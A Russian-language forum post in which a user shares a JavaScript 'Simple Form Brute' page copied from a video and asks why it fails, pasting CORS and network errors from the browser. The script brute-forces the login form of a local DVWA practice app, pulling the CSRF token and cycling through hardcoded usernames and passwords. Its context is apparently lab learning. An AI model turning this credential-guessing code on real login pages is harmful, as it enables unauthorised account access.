есть такой видос
к нему есть скрипт в начале видоса , вот он
проблема что он не работает у меня
вот ошибки из браузера
HTTP:
<!DOCTYPE html>
<html><head>
<meta charset="UTF-8">
<meta name="referrer" content="no-referrer" />
<title>Simple Form Brute</title>
<script type="text/javascript">
console.log("ok");
var user_list = ["raj", "kumar", "praveen", "admin", "guest"];
var pass_list = ["kumar", "123", "admin", "password", "12"];
var hacked = false;
var xhttp = new XMLHttpRequest();
function get_csrf()
{
var token= "";
var url = "http://localhost/dvwa/login.php";
for(i=0; i<=user_list.length; i++){
for(j=0; j<=pass_list.length; j++){
username = user_list[i];
password = pass_list[j];
xhttp.onreadystatechange = function() {
if(this.readyState == 4 && this.status == 200){
myStr = xhttp.responseText;
var subStr = myStr.match("value='(.*)'");
token = subStr[1];
hack(token, username, password);
}
};
xhttp.open("GET", url, false);
xhttp.send();
}}}
function hack(token, username, password){
xhttp.onreadystatechange = function() {
if(this.readyState == 4 && this.status == 200){
myStr = xhttp.responseURL;
if(myStr == "http://localhost/dvwa/index.php"){
alert("Credentials are Username=" + username + ", Password= " + password + "");
}
}
};
xhttp.open("POST", "http://localhost/dvwa/login.php", false);
xhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
xhttp.send("username=" + username + "&password=" + password + "&&Login=Login&user_token=" + token + "");
}
</script>
</head>
<body>
<input type="button" value="Hack" onclick="get_csrf();">
</body></html>вот ошибки из браузера
Код:
Synchronous XMLHttpRequest on the main thread is deprecated because of its detrimental effects to the end user’s experience. For more help http://xhr.spec.whatwg.org/ form-brute-token.html:28:10
Cross-Origin Request Blocked: The Same Origin Policy disallows reading the remote resource at http://localhost/dvwa/login.php. (Reason: CORS header ‘Access-Control-Allow-Origin’ missing).
NetworkError: A network error occurred. form-brute-token.html:29
Последнее редактирование: